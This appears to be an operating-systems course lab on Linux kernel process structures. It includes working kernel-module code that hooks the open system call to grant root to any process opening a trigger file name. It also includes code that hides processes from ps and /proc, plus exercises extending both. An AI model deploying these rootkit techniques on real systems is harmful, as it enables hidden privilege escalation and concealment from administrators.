OSC:Stealth Processes & PCBs

From SOFTICE

Jump to: navigation, search

Contents


Stealth Processes & PCBs

Pedagogical Objectives
  • Introduce Kernel Data Structures: struct task_struct, struct thread_info, list_head
  • Introduce Kernel APIs: getname, putname, strcmp, strncmp, write_lock_irq, write_unlock_irq, find_task_by_pid, current, REMOVE_LINKS, SET_LINKS, list_add, LIST_HEAD_INIT, INIT_LIST_HEAD, LIST_HEAD, list_add, list_for_each, list_entry, list_for_each_entry
  • Big picture:
    • Understand the relation between commands such as ps, the above-mentionned kernel data structures and /proc/
    • Understand the basics of Kernel linked lists and hash tables
    • Understand how struct task_struct are managed (lists, tables)
  • Strenghten students' system call interception techniques & general LKM writting skills
Developed by:

Synopsis

We want to write a LKM capable to hide information about a process to all system commands such as ps, top. By doing so, we will explore the Linux PCB data structure (struct task_struct and struct thread_info) and how it is managed into lists and tables in the kernel. We will also underline the relation between user commands such as ps which provide information on all running processes, the lists of tasks maintained in the kernel itself and the /proc/ pseudo file system which acts as a user-space window into kernel internals.


[Briefing] Process Control Block Overview

Here is a copy of the struct task_struct definition as it can be found in /include/linux/sched.h (LXR) for kernel 2.6.16.20-um.

We are going to examine only the fields of this data structure which are relevant for this laboratory. In upcoming labs, we will come back to it to focus on the data structures related to scheduling, memory management, etc). Let's take the struct task_struct definition one step at a time:

  692: struct task_struct {
  694:         struct thread_info *thread_info;

struct thread_info is defined in /include/asm/thread_info.h and /include/asm-um/thread_info.h. As we are working with the um port of the Linux kernel in these laboratories (architecture um), the former is a shortcut to the latter (LXR).


Tasks, processes, threads

Before we go further, we need to clarify some terminology and the common confusion it might bring.

The unit of execution in the Linux kernel is the task. In the lectures, you were told about processes and threads and explained what is their relation to one another. Where does the concept of task fit in? To answer this question, let's have a look at the fields used in struct task_struct to keep track of a process' identity;

  741:         pid_t pid;
  742:         pid_t tgid;

The first field (pid) is used, quite obviously, to store the PID of the process. In fact, each task in Linux has its own PID (and its own struct task_struct) whether it is a process or a thread. The second field is used as part of the Linux implementation of threads and needs some further explanation.

Linux implements POSIX compliant multhreading. One of the requirements imposed by POSIX compliance is that the operating system has to be able to send a signal to all threads in a given process by sending a signal to the PID of that process. This is due to the fact that the signaling mechanics existed long before threads were introduced and was meant to deal only with processes. Once Unix kernels started dealing with multithreading, a decision had to be made regarding what happened when an entire process was sent a signal. The adopted solution was to say that all threads in that process would receive the signal.

Conceretely, this means that you need to be able to identify all threads as part of a process and this is where the specific way Linux implements multi-threading causes a problem. The Linux kernel implements multi-threading by using a so-called one-to-one technique; each thread is actually a process (simplified explanation, cf lecture for more details) and has its own PID.


To solve this issue, each struct task_struct not only keeps track of the PID but also of something called the TGID (thread group identifier). The idea of thread groups has been introduced to allow the one-to-one multithreading implementations to be POSIX compliant; every thread of a given process is identified as member of the same thread group and therefore share a unique identifier (the TGID) which is set to the PID of the process.

Let's take an example; a new process is created with pid=1234. This process contains only a single thread of execution for which pid = tgid = 1234. Later, this same process creates another thread. The kernel identifies this thread with a pid = 5678 but its thread group ID will be set to represent the fact its in the same process (same thread group) thus tgid = 1234.

When you need to send a signal to a process, you can easily find all tasks which shoudl receive it by checking their tgid field.

Exit codes and signals

When a process exits, it returns an exit code which is used to detect if the execution went ok or if the process encountered an error. You all used this return code in your own c programs:

 
#include <stdio.h>

int main () 
{ 
    printf ( "hellow wolrd\n" ); 
    return 0; 
} 

This is what the int return type of the main function is all about.


As discussed in the lectures, when a process (parent) creates another process (child), the former is expected to check the exit state of its child process when the child terminates. This is done by using one of the system calls form the waitpid familly. While the child process is completed but its exit status has not yet been checked by its parent, the kernel will keep its struct task_struct around (zombie process) and hold the exist status information in the exit_code field. The code exerpt below illustrate the fields of the struct task_struct data structure which are relevant to this book keeping:

  735:         long exit_state;
  736:         int exit_code, exit_signal;
  737:         int pdeath_signal;  /*  The signal sent when the parent dies  */

As you can see, there is slightly more to it than we just discussed. Uppon termination, a process also notifies it parent process by using a mechanism called signals. There are 32 standard (POSIX defined) signals codes and each of them is identified by an integer value. By default the SIG_CHLD signal is sent to the parent of an exiting process but this can be changed. The field pdeath_signal in the code snippet above is meant to contain, for each process, the signal to send in such scenario.


Process Credentials

The struct task_struct data structures uses several fields to store the credential of the process:

  776: /* process credentials */
  777:         uid_t uid,euid,suid,fsuid;
  778:         gid_t gid,egid,sgid,fsgid;
  779:         struct group_info *group_info;
  780:         kernel_cap_t   cap_effective, cap_inheritable, cap_permitted;
  781:         unsigned keep_capabilities:1;
  782:         struct user_struct *user

In this lab we will focus on the fields of type uid_t which containg, as the name of the type suggests, user IDs. While a process executes on behalf of a single user (generally, the one who executed the program), it can have several different credential to use to get privileged access to some elements of the file system. The most common example of such a situation is when an executable file has the "set UID" flag set and is owned by the root user. Such files, are generally meant to be executed by any user but gain temporary root privileges while they execute. This can come handy when you have a command such as passwd meant to allow each user to change their own password but which needs to access root-only files to update the password database on the system.

In such a scenario, the process would be created by a user and will have its UID credential fields set to the UID of that particular user. However, because of the UID nature of the executable, its effective user ID (euid) will differ from its user ID (uid) field and be set to the value 0 which means root privileges. when the process needs to access files which are reserved to the system administration account, it will be able to do so because of its euid.

Read the referenced Linux magazine article '[LM] to learn more about these fields.


Linking PCBs together

As of the 2.6.16.20-um kernel, the linked list API has been rewritten to make use of macros which enable kernel developers to all use the same macros and data structures to implement linked lists of any sort and hash tables. Studying the implementation of these macros is a good learning exercise and we are going to cover the basics to get you started the right way.

Traditionally, a C linked list is implemented by defining a struct which contains a pointer to the next (and previous in case of a doubly linked list) element of same type. The problem with this implementation is that if we want to have the struct task_struct data structure belonging to several linked lists, we need to redefine a data structure featuring a next/previous pointers pair for each list we want to be able to link to. Also, this means that the classic functions to add / remove elements from such lists will have to be re-written for each list since they will rely on different fields. The Linux kernel developers came up with a much more generic system that is used throughout the kernel source code for many different data structures without need for adaptation.


Let's have a look at the struct task_struct definition and isolate the lines which are linking this data structures into linked lists:

  723:         struct list_head tasks;
  724:         /*
  725:          * ptrace_list/ptrace_children forms the list of my children
  726:          * that were stolen by a ptracer.
  727:          */
  728:         struct list_head ptrace_children;
  729:         struct list_head ptrace_list;
  730: 
  743:         /* 
  744:          * pointers to (original) parent process, youngest child, younger sibling,
  745:          * older sibling, respectively.  (p->father can be replaced with 
  746:          * p->parent->pid)
  747:          */
  748:         struct task_struct *real_parent; /* real parent process (when being debugged) */
  749:         struct task_struct *parent;    /* parent process */
  750:         /*
  751:          * children/sibling forms the list of my children plus the
  752:          * tasks I'm ptracing.
  753:          */
  754:         struct list_head children;     /* list of my children */
  755:         struct list_head sibling;      /* linkage in my parent's children list */
  756:         struct task_struct *group_leader;      /* threadgroup leader */
  757: 
  758:         /* PID/PID hash table linkage. */
  759:         struct pid pids[PIDTYPE_MAX];
  760:


As you can see, the struct list_head type is the key to make any data structure a part of a linked list. Having a look at its definition in /include/linux/list.h help understanding its role:

 18 /*
 19  * Simple doubly linked list implementation.
 20  *
 21  * Some of the internal functions ("__xxx") are useful when
 22  * manipulating whole lists rather than single entries, as
 23  * sometimes we already know the next/prev entries and we can
 24  * generate better code by using them directly rather than
 25  * using the generic single-entry routines.
 26  */
 27 
 28 struct list_head {
 29         struct list_head *next, *prev;
 30 };

This definition indicates that a struct list_head field is nothing but a pair or next / previous pointers. Unlike the linked lists you probably already implemented in C, the data structure contains only the pointers and no specific data. Also, the pointers are not generic (void*) or typed by the data structure containing the actual data (struct task_struct), instead they are simply pointers on another struct list_head. This means that to link together two struct task_struct, you will need to have these pointers in their task fields point to each struct task_struct 's task field.

Kernel doubly linked lists API 101

To take a simpler example, let's figure out how could we use this data structure in one of our LKMs? We will avoid dealing with dynamic memory allocation in kernel-space which will be covered in an upcoming lab. Let's start with the definition of a data structure holding some data (an int):

struct mystruct { 
    int data ; 
} ; 

To be able to link each element of type struct mystruct to others, we need to add a struct list_head field:

struct mystruct { 
    int data ; 
    struct list_head mylist ; 
} ; 

Let's create a first variable representing an element of our linked list to be:

struct mystruct first ; 

first.data = 10 ; 
first.mylist = LIST_HEAD_INIT(first.mylist) ; 

The last line is calling a macro LIST_HEAD_INIT which is also defined in /include/linux/list.h:

 31 
 32 #define LIST_HEAD_INIT(name) { &(name), &(name) }
 33 

This macro is simply used to assign each pointer inside the mylist field to point to that very field thus representing a list of a single element.


Let's create a second variable and initialize it:

 
struct mystruct second ; 

second.data = 20 ; 
INIT_LIST_HEAD( & second.mylist ) ; 

This time, we used a different macro to initialize the list:

 37 static inline void INIT_LIST_HEAD(struct list_head *list)
 38 {
 39         list->next = list;
 40         list->prev = list;
 41 }
 42 


We now need a variable to represent the start of our list, initialize it as an emty linked list to start off with and then add the two elements above.

 
LIST_HEAD(mylinkedlist) ;

This macro declares a variable of type struct list_head and initializes it for us as defined in:

 34 #define LIST_HEAD(name) \
 35         struct list_head name = LIST_HEAD_INIT(name)
 36 

Once we have this variable, we add elements to our list:

list_add ( &first , &mylinkedlist ) ; 
list_add ( &second , &mylinkedlist ) ; 

Once again list_add is a macro defined as follows:

 59 /**
 60  * list_add - add a new entry
 61  * @new: new entry to be added
 62  * @head: list head to add it after
 63  *
 64  * Insert a new entry after the specified head.
 65  * This is good for implementing stacks.
 66  */
 67 static inline void list_add(struct list_head *new, struct list_head *head)
 68 {
 69         __list_add(new, head, head->next);
 70 }
 71 

It relies on the internal macro __list_add:

 43 /*
 44  * Insert a new entry between two known consecutive entries.
 45  *
 46  * This is only for internal list manipulation where we know
 47  * the prev/next entries already!
 48  */
 49 static inline void __list_add(struct list_head *new,
 50                               struct list_head *prev,
 51                               struct list_head *next)
 52 {
 53         next->prev = new;
 54         new->next = next;
 55         new->prev = prev;
 56         prev->next = new;
 57 }
 58 

At this point, we have a handle on a doubly linked list (mylinkedlist) which contains two elements. We can iterate over the elements of such a linked list easily but, once again, the kernel linked list API provides us with some macro to make this task even simpler.

328 /**
329  * list_for_each        -       iterate over a list
330  * @pos:        the &struct list_head to use as a loop counter.
331  * @head:       the head for your list.
332  */
333 #define list_for_each(pos, head) \
334         for (pos = (head)->next; prefetch(pos->next), pos != (head); \
335                 pos = pos->next)

This macro expands into a for loop and requires you to provide a pointer to the list head (head) and a pointer to be updated by the loop to point to each consecutive element of the linked list (pos).

In our example, we could log to the console the values of the elements of our linked list by using:

 
struct head_list* position ; 
list_for_each ( position , & mylinkedlist )  
    { 
         printk ("surfing the linked list next = %p and prev = %p\n" , 
             position->next, 
             position->prev ); 
    } 

Notice how we use the list_for_each macro so that it expands into the for loop definition and then simply add a body to it. Something else should bother you... We displayed the contents of the struct list_head because this is what the item pointer points to. What if we want to display the contents of the data' field of the struct mystruct. After all, we'll probably want to access the elements we are linking one day or another. Let's start now.

When we have a pointer on a struct list_head field which iw part of a struct mystruct element, we need to be able to retrieve the address of the latter from the former. The list_entry macro does this for us:

319 /**
320  * list_entry - get the struct for this entry
321  * @ptr:        the &struct list_head pointer.
322  * @type:       the type of the struct this is embedded in.
323  * @member:     the name of the list_struct within the struct.
324  */
325 #define list_entry(ptr, type, member) \
326         container_of(ptr, type, member)

With container_of being defined in /include/kernel/kernel.h as:

275 /**
276  * container_of - cast a member of a structure out to the containing structure
277  * @ptr:        the pointer to the member.
278  * @type:       the type of the container struct this is embedded in.
279  * @member:     the name of the member within the struct.
280  *
281  */
282 #define container_of(ptr, type, member) ({                      \
283         const typeof( ((type *)0)->member ) *__mptr = (ptr);    \
284         (type *)( (char *)__mptr - offsetof(type,member) );})
285 

The code above deserves some explanation. We have the address of the struct list_head field inside of another data structure (let's say struct task_struct for sake of example). The first line of the macro casts the value 0 into a pointer on the encapsulating data structure type (struct task_struct). We use this pointer to access the field in that data structure which corresponds to our list_head and get its type with the macro typeof to declare a pointer __mptr initialized to the value contained in ptr.

The next step is to subtract from the address of ptr (stored in __mptr right now) the offset separating the struct list_head field from the beginning of the data structure it is embedded in. This done by using the offsetof macro defined in /include/linux/stddef.h as;

17 #define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)

As you can see, this macro simply expands to the address of the MEMBER field in the data structure TYPE. To obtain an offset, we take the address of that MEMBER from a NULL pointer cast into TYPE.

Once this computation is done the container_of macro simply expands to its results as it is composed of 2 lines of code between parenthesis.


We can now write a loop which will display to the console the contents of the data fields of our linked list elements:

 
struct head_list *position = NULL ; 
struct mystruct  *datastructureptr  = NULL ;  
list_for_each ( position , & mylinkedlist )  
    { 
         datastructureprt = list_entry ( position, struct mystruct , mylist );
         printk ("data  =  %d\n" , datastructureptr->data ); 
    } 

Once again, this has been thought throough by the Kernel Developers who provide us with another macro to simplify this work:

369 /**
370  * list_for_each_entry  -       iterate over list of given type
371  * @pos:        the type * to use as a loop counter.
372  * @head:       the head for your list.
373  * @member:     the name of the list_struct within the struct.
374  */
375 #define list_for_each_entry(pos, head, member)                          \
376         for (pos = list_entry((head)->next, typeof(*pos), member);      \
377              prefetch(pos->member.next), &pos->member != (head);        \
378              pos = list_entry(pos->member.next, typeof(*pos), member))
379 
Our little example now reads:

struct mystruct  *datastructureptr = NULL ;  
list_for_each_entry ( ptr , & mylinkedlist, )  
    { 
         list_entry ( item , struct mystruct , mylist );
         printk ("data  =  %d\n" , datastructureptr->data ); 
    } 

How to access the PCB of a running thread?

Two words about how this current macro is implemented will also cast some light about the way threads memory is laid out. The macro is defined in include/asm-um/current.h:

12 #include "linux/thread_info.h"
13 
14 #define current (current_thread_info()->task)
15 

When you are using current, you are in fact calling the current_thread_info() function which returns a struct thread_info data structure. Inside of that data structure, you are then accessing the task field which is nothing but a pointer to the struct task_struct of the process the current thread is part of. Conversely, the struct task_struct has also a field pointing back to the struct thread_info named appropriately thread_info.

In thread_info.h current_thread_info() is defined as:

44 /* how to get the thread information struct from C */
45 static inline struct thread_info *current_thread_info(void)
46 {
47         struct thread_info *ti;
48         unsigned long mask = PAGE_SIZE *
49                 (1 << CONFIG_KERNEL_STACK_ORDER) - 1;
50         ti = (struct thread_info *) (((unsigned long) &ti) & ~mask);
51         return ti;
52 }

This implementation shows an interesting fact about where the thread_info data structure of each thread; it is stored at the bottom of the kernel stack.

Let us assume that the kernel stack of your thread grows downward, i.e. the stack begins at high memory address and its top (pointer to the last added element) progresses toward lower memory addresses. In this scenario, the struct thread_info of your thread is located in the 8K of the kernel stack at the lowest address. This means that while the kernel stack begins at the highest address, the thread_info begins at the lowest therefore both are as far as possible from one another within the area of memory holding the kernel stack.


When a thread needs to access the struct task_struct of its process, it first needs to locate its struct thread_info in the kernel stack and then follow its task field pointer which leads us in turn to the struct task_struct of the proces. This is exactly the role of the above code; the CONFIG_KERNEL_STACK_ORDER constant was introduced to make the code less dependent on the kernel stack size. We are multiplying the size of a page (let's assumed 4096 bytes) by 2 to the power of the size order of the kernel stack (12 in the um architecture port of the Linux kernel). We then subtract 1 and we obtain:

 
    mask = 4096 * 2^12 -1 
         = 16777215d
         = 0000 0000 1111 1111 1111 1111 1111 1111
         = 0x00FFFFFF

What can be the role of mask? Taking into consideration the size of the kernel stack, we determined a binary mask that has zeroes in the most significant bits and ones in the rest. These most significant bits are the ones that won't change in the address of any location within the kernel stack, while the others can be seen as an offset within the kernel stack memory area.


This mask is then applied a one complement bitwize operation (~) and use in a logical bitwise AND operation with the address of the ti local variable. Why using the address of ti? When this function executes, it executes on behalf of a thread that is trying to use the current global macro. As with any system call or trap to the kernel, the thread's kernel stack is used to hold the activation records for the function calls made while executing kernel code. This means that the local variable ti' is located on the kernel stack of the thread and its address is therefore within the kernel stack. By applying a one complement to the mask, we obtain a binary mask that has ones in the most significant bits (the ones common to all addresses in the kernel stack) and zeros in the least significant bits (the ones used to hold offsets within the kernel stack). As we do a logical bitwise AND operation between &ti and this mask, we obtain a binary vector containing only the most significant bits and therefore representing the start address of the kernel stack where the struct thread_info is located.

Let's take an example:

    mask    =    0000 0000  1111 1111 1111 1111 1111 1111
   ~mask    =    1111 1111  0000 0000 0000 0000 0000 0000 
    &ti     =    1100 0101  1110 0101 0001 0101 1010 1011
    AND     =    1100 0101  0000 0000 0000 0000 0000 0000

We clearly isolated the lowest address in the kernel stack memory area.

[Solved] Exploring the struct task_struct

We are going to , once again, intercept the open system call to display on demand information about from the struct task_struct of any process trying to open a specific filename. When the LKM we will write loads, it will replace the system call by our own version. This code will actually check the name of the file to be opened and use current, the global macro defined in /include/asm-um/current.h, to access fields from the struct task_struct corresponding to the process on behalf of which the system call is currently executing. This exercise will be divided in two part; a user land program that will show what we want our processes to be able to use the LKM for and define the syntax to do it. Then, we will explain the code of the LKM itself and how it will respond


User land program

The program below illustrates how our user land programs will be able to exploit the presence of a LKM to make changes in their struct task_struct to affect their credentials levels.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


int main()
{

        int fd;

        fd = open ("softice:display", O_RDWR);
        close (fd);


        fd = open ("softice:rootme", O_RDWR);
        close (fd);


        fd = open ("softice:display", O_RDWR);
        close (fd);

        return 0;
}

As you have guessed by now, the LKM will intercept the open system call and look for specific file names. When a user program is trying to open a file which name starts with "softice:" the LKM will look further and take the rest of the string as a parameter;

  • "display" will be used to print into the kernel logs some information about the process' uid, euid, suid and fsuid.
  • "rootme" will have the LKM change the process' euid to 0 thus escalating its privileges in the system as if it was a set uid executable owned by root.


Kernel land

The code below is a LKM intercepting the open system call and reacting to the syntax we described in the previous subsection. Its role is to escalade privileges for provesses opening a certain filename. Let's have a look at the code piece by piece:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/sched.h>

#include <linux/string.h>
#include <linux/fs.h>

#include <linux/unistd.h>       /* The list of system calls */
/*
 * For the current (process) structure, we need
 * this to know who the current user is.
 */
#include <linux/sched.h>
#include <asm/uaccess.h>

MODULE_LICENSE("GPL");

extern void *sys_call_table[];                  /*This is where we hook on the syscall*/

/* ptr to original open system call */
asmlinkage int (*original_call) (const char *, int, int);

The above code should look very familiar by now. We are re-using the open system call interception LKM and thefore including all the header files related to the sys_call_table before to declare this symbol as external. We also define a pointer original_call as a pointer on a function with same prototype as the open system call.

static char *trigger_name = "softice:";         /*filename to look for*/

This string will be used to detect whether or not a user program is trying to get the attention of our LKM.

void do_something ( const char* arg )
{
        /* It's the proper file. Logic goes here. */
        printk( KERN_ALERT  "[edu-02]   request is [%s]\n", arg);

        if (0 == strcmp(arg, "display") )
        {
               printk( KERN_ALERT "[edu-02]   uid = %d    euid = %d    suid = %d    fsuid = %d \n", 
                        current->uid, current->euid , current->suid, current->fsuid);
                return;
        }

        if (0 == strcmp(arg, "rootme") )
        {
                printk( KERN_ALERT "[edu-02]   euid switching from %d to 0\n",
                        current->euid);
                current->euid = 0;
               return;
        }

        printk( KERN_ALERT "[edu-02]   unknown request\n");
}

The above function is the payload of our LKM. It will be invoked when we detect that a user space program is trying to trigger the privileges display / escalation features of our LKM. The argument is a string containing the remainder of the filename passed to the open system call. If a user program called open with parameter "softice:display", the LKM already recognized and stripped the "softice:" part (the trigger) and is calling do_something with parameter "display".

After loggin what the request is, the function will compare its argument to each of the two keywords accepted;

  • display will cause the LKM function to look for the credentials of the user program in its struct task_struct before to log them.
  • rootme will simply set the euid to 0.


asmlinkage int our_sys_open(const char *filename, int flags, int mode)
{
        char *tmp;
        int i;

        /* Copy the filename from user space to kernel space. */
        tmp = getname(filename);

        if (!IS_ERR(tmp)) {
                i = strncmp(tmp, trigger_name, strlen(trigger_name) );



                if (i == 0) {
                        do_something( (char*)(tmp + strlen(trigger_name))   );
                }
        }

        /* Free the memory allocated by getname(). */
        putname(tmp);

        /*
        * Call the original sys_open - otherwise, we lose
         * the ability to open files
         */
        return original_call(filename, flags, mode);
}

The above function should be already familiar, it is meant to replace the original open system call. As we did in previous laboratories, we end up calling the orginial call (which address was saved when the module was loaded) and returning its return value. Before to do so, we check the parameter to detect whether we need to call the do_something function or not.


You will notice that we can't manipulate directly the parameters passed to the system call. This is due to the fact that when a user land program passes a string to a system call, it passes its address. From the kernel perspective, an address within a user land address space isn't significant in so far that the kernel has a different address space. It is therefore necessary for the kernel to take this address and access it taking into consideration which address space to use it into. This is what the getname function is there for. It will allocate memory to copy the string parameter from user to kernel space. Conversely, the putname function will deallocate the memory used by its counterpart. Also notice the syntax used to check for errors in the execution of getname.


Aside from this, the code is fairly straightforward. You will notice that even though we don't have access to the stdlib function in kernel space, the kernel developers have re-implemented some of them to facilitate our work. In the above example, we are using the kernel space equivalent of strcmp and stncmp.

static int edu_init(void)

{
  printk( KERN_ALERT "[edu-02]   Credential Alteration LKM is loading....");

  original_call = sys_call_table[__NR_open];
  sys_call_table[__NR_open] = our_sys_open;

  printk( KERN_ALERT "(done)\n");
  return 0 ;
}

The edu_init function is the module's initialization function and is similar to what we did in previous labs. The sys_call_table is modified to replace the open system call by our own version and the address of the original system call is saved in original_call.

static void edu_exit(void)
{

        printk(KERN_ALERT "[edu-02]   Credentials Alteration LKM left the building....");
        /* 
         * Return the system call back to normal
         */
        if (sys_call_table[__NR_open] != our_sys_open) {
                printk(KERN_ALERT "Somebody else also played with the ");
                printk(KERN_ALERT "open system call\n");
                printk(KERN_ALERT "The system may be left in ");
                printk(KERN_ALERT "an unstable state.\n");
        }

        sys_call_table[__NR_open] = original_call;

        printk(KERN_ALERT "(done)\n");
}

The exit function of the module is also in all points similar to our previous syscalls interception LKMs and restores the original system call.

module_init(edu_init);
module_exit(edu_exit);

MODULE_AUTHOR("softice osc labs") ;
MODULE_DESCRIPTION("....") ;

Finally, the module initialization and exit functions are registered and additional details provided about the module using the MODULE_AUTHOR and MODULE_DESCRIPTION macros.

[Solved] Missing link: Hiding a process

The following example is taken from [phrack] which introduces 3 different methods to hide a process so that it isn't reported by system tools such as the top, ps, etc commands.

In recent Linux versions, the ps command relies on the /proc/ pseudo file system to get its information about what processes are running on the system instead of digging directly in kernel data structures. This illustrates perfectly the point of the /proc/ pseudo file system: providing user land with kernel information through a clean interface based on the file system and without requiring user land programs to know about the kernel internals.

Consequently, if you want to hide processes, the most natural step is to intercept access to the corresponding /proc/ pseudo files. Both the /proc/ interface and the way to intercept access to files or directories will be the focus of upcoming labs. For now, we will dig into the kernel internals, following the footsteps of [phrack], and hide processes by removing their struct task_struct from specific linked lists so that they are not even reported by the kernel components responsible for managing /proc/.

The following code is only slightly modified from [phrack] and illustrates the first method for hiding process.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/sched.h>


MODULE_LICENSE("GPL");


pid_t pid = 0 ;
struct task_struct *task = 0 ;

Besides including the necessary header files and defining the licence for this module, the above code is defining two variables:

  • pid which will be initialized when the module is loaded to the value passed as parameter. This variable will hold the PID of the process we want to hide.
  • task which will point to the struct task_struct of the process we want to hide once we retrieve it from its pid using the find_task_by_pid macro.
static int edu_init(void)
{
  printk( KERN_ALERT "[edu-02]   Module successfully loaded\n");

  if ( pid ) {
        task = find_task_by_pid(pid) ;
        printk ( "[edu-02] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
        if ( task ) {
                write_lock_irq(&tasklist_lock) ;
                printk("[edu-02] removing process links\n") ;
                REMOVE_LINKS(task) ;
                write_unlock_irq(&tasklist_lock) ;
        }
  }
  return 1 ;
}

This is the intialization code for our LKM. If a non-null PID was passed to the module when using the insmod command, the function retrieves into task the address of the struct task_struct corresponding to the process of PID pid. If a non-null address was retrieved by the find_task_by_pid macro, we use the REMOVE_LINKS macro to remove this particular struct task_struct from the linked list of process control blocks. As an exercise, look up in a kernel code browser the definition of this macro and which field of the struct task_struct it operates on.

You will notice that before and after modifying the linkage of that linked list, we call functions operating on a tasklist_lock. While synchronisation issues will be covered later in the lectures, we can summarise what is done here in one word: Locking. While we are modifying the linkage of such a critical data structure, we don't want the kernel to service another system calls which relies on it. Acquiring this "lock" variable before to touch the data structure and releasing it right afterward is a good way to ensure that only one modification is done at a given time.


static void edu_exit(void)
{
        if (task)
        {
                printk ( "[edu-02] unhiding task at addr 0x%x\n" , task ) ;
                write_lock_irq(&tasklist_lock) ;
                printk("[edu-02] setting process links\n") ;
                SET_LINKS(task) ;
                write_unlock_irq(&tasklist_lock) ;
        }
        printk(KERN_ALERT "[edu-02]   Stopping hiding process\n");
}

The above function is the exit code for the LKM. It uses again the locking mechanisms we briefly outlined in the previous function to guarantee that the action of re-linking the hiden process' struct task_struct will go undisrupted. The action of restablishing this process control block in the list of PCBs is performed by a call to the SET_LINKS macro. As an exercise, look up its definition and how it operates


module_init(edu_init);
module_exit(edu_exit);

MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;

[Exercises]

Exercise 02-1: More on kernel linked lists

Read, understand and explain the following implementation located in /include/linux/list.h:

 72 /**
 73  * list_add_tail - add a new entry
 74  * @new: new entry to be added
 75  * @head: list head to add it before
 76  *
 77  * Insert a new entry before the specified head.
 78  * This is useful for implementing queues.
 79  */
 80 static inline void list_add_tail(struct list_head *new, struct list_head *head)
 81 {
 82         __list_add(new, head->prev, head);
 83 }
 84 


Exercise 02-2: Hash tables anyone?

Take the explanation of the kernel linked list API provided in this lab and rewrite your own explanation of the kernel API as defined in /include/linux/list.h and /include/linux/hash.h. Use the same type of small examples and focus on the same features we presented in the section of this lab devoted to the linked list API.


Exercise 02-3: Hiding by setting pid to 0 (why does it work?)

[phrack] mentions that you can prevent a process from having an entry in the /proc/ pseudo file system by assigning to it a PID of 0. While the code excerpt used in the original article is no longer relevant to the kernel version we are using, we can use it to find our own marks and explain why this trick still work. This is the original explanation:

<codesnip src="fs/proc/base.c" line=1057>
static int get_pid_list(int index, unsigned int *pids)
{
        .......
        for_each_task(p) {
		.......
                if (!pid)
                        continue;
</codesnip src="fs/proc/base.c">

This code excerpt clearly shows that the implementation of the /proc/ file system didn't take into considerations processes with a NULL PID. Let's work our way through the kernel code to ensure that it is still the case.

  • get_pid_list is used in the code from [phrack] but no longer defined in 2.6.16.20. Look in /fs/proc/base.c file (Original LXR) and identify the function which is replacing it.

Exercise 02-4: pid, tgid or pids?

While exploring the code referenced in the previous exercise to locate the get_pid_list function, you might have noticed that tests such as if (!pid) have been also rewritten using the pid_alive function defined in /include/linux/sched.h as;

703 static inline int pid_alive(struct task_struct *p)
704 {
705         return p->pids[PIDTYPE_PID].nr != 0;
706 }

The pids field of a struct task_struct is defined in /include/linux/sched.h as:

757 
758         /* PID/PID hash table linkage. */
759         struct pid pids[PIDTYPE_MAX];
760 

In turn, the struct pid is defined in /include/linux/pid.h as;

 13 struct pid
 14 {
 15         /* Try to keep pid_chain in the same cacheline as nr for find_pid */
 16         int nr;
 17         struct hlist_node pid_chain;
 18         /* list of pids with the same nr, only one of them is in the hash */
 19         struct list_head pid_list;
 20 };


The code above shows that, in addition to storing information about the process' PID in the pid and tgid fields, the process descriptor also contains an array (pids field). Each index of the array contains a struct pid element which provides a PID value (nr field), a pid_list pointer (leading to a hash table) and a pid_chain pointer (leading to a doubly linked list).

By storing different PID numbers for each process, we can answer the question "what is your PID?" in different ways depending on who asks and what system call is used. This is used, for instance, to keep track of all the threads that are in a given process group. This information is stored in current->pids[1].

Look up in the source code the various elements of information you are missing to answer the following questions:

  • What is the value of current-> pids[1].nr for a given thread?
  • What are the struct task_struct which are going to be linked to current->pids[1].pid_chain?


Exercise 02-5: To Panic or not to Panic...

Use one of the online kernel code browser to locate the function executed when a process exits (file kernel/exit.c, function do_exit). Read it and explain why the fact that the PID of a hidden process is NULL will cause a kernel panic when it exits.

Hints: what is the iddle task (look up information about it in references) and what is its PID?


Exercise 02-6: Hiding by setting pid to 0 (just do it)

Now that we have a good understanding of why setting the PID of a task to 0 effectively hides it from /proc/ and therefore ps, we can move on to modifying our previous LKM.

Rewrite the previous LKM so that it hides a process by using the unlinking method or by setting its pid to 0. To give the user a choice, you will accept at load time a parameter called method.


[Projects]

Project 02-1: Know thy neighbour

We want to start with the LKM capable to display the credential of a process using the open system call on a filename such as softice:display. We are going to extend it by making it possible for the calling user-land process to have the LKM grant root privileges not only it itself but also to its parent and siblings. This will give us an opportunity to learn to navigate the various linked lists a given struct task_struct is member of.

This LKM will have to be capable to act differently according to the filename specified when making the open system call:

  • "softice:me:display" will have the LKM display the credentials and PID / PPID for the calling process
  • "softice:parent:display" will display credentials and PID / PPID for myself and the parent process
  • "softice:parents:display" same thing but for all ancestors of this process (what is the last ancestor's PID?)
  • "softice:siblings:display" same thing for all siblings (processes which are child of the same parent).

Once this is working, you can work on implementing another keyword "rootme":

  • "softice:me:rootme"
  • "softice:parent:rootme"
  • "softice:siblings:rootme"

Notice that we won't implement the "softice:parents:rootme".

The last part of this assignments will consist in applying some ingenuity to use the shell and user-land small programs you will write to provide proofs that your LKM implements all the functionalities described above.

Project 02-2: Hiding at the pid hashtable level

As mentioned in [phrack], another way to hide a process is to un-hash its PID value from the PID hashtable thus making it impossible to retrieve by a call to the find_task_by_pid macro thus preventing, as explained in the paper, the hiden process to be found by using the kill system call to send them a signal 0.

Complete the LKM developed in the [solved] section by not only unlinking its PCB form the struct task_struct linked list but also by unhashing its PID form the PID hashtable using the following calls:

task = find_task_by_pid(pid) ;
unhash_pid(task) ;

In the version of the kernel we are using in these labs (2.6.16.20-um) the unash_pi function has been replaced as the code for the linked lists and hash tables was consolidated into the API we presented earlier in this lab. Use what you learned from exercise 02-2 to adapt the code from [phrack] which uses this method to hide processes so that you can use it in your own LKM and with the kernel version we are using.

References

[UTLK] Understanding the Linux Kernel, 3/e (safary reference)


[phrack] Hiding Processes (Understanding the Linux Scheduler)


[LM] Linux Magazine Changing a Program’s Identity


[LKD] Linux Kernel Development, 2.e


References (Textbooks)

[NUTT] Operating Systems, 3/e


[STALL] Operating Systems, Internals and Design Principles


[SILB] Operating System Concepts with Java

  • http://os-book.com/
  • Abraham Silberschatz, Peter Baer Galvin, Greg Gagne
